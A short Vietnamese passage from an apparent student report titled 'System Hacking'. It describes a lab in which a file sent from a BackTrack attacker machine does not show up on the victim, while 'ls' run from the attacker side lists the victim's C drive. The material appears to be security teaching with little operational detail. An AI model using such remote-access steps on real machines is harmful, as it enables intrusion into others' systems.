    Đề Tài :SysTem Hacking 88 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Câu lệnh vẫn chạy OK nhưng bên máy victim thì không thấy file.pdf mà backtrack đã gửi qua Trên máy backtrack ta dùng lệnh : ls Nó đã liệt kê tất cả các thư mục trong ổ C luôn cả file.pdf mà khi nãy đã gửi mặc dù trên máy victim thì không nhận được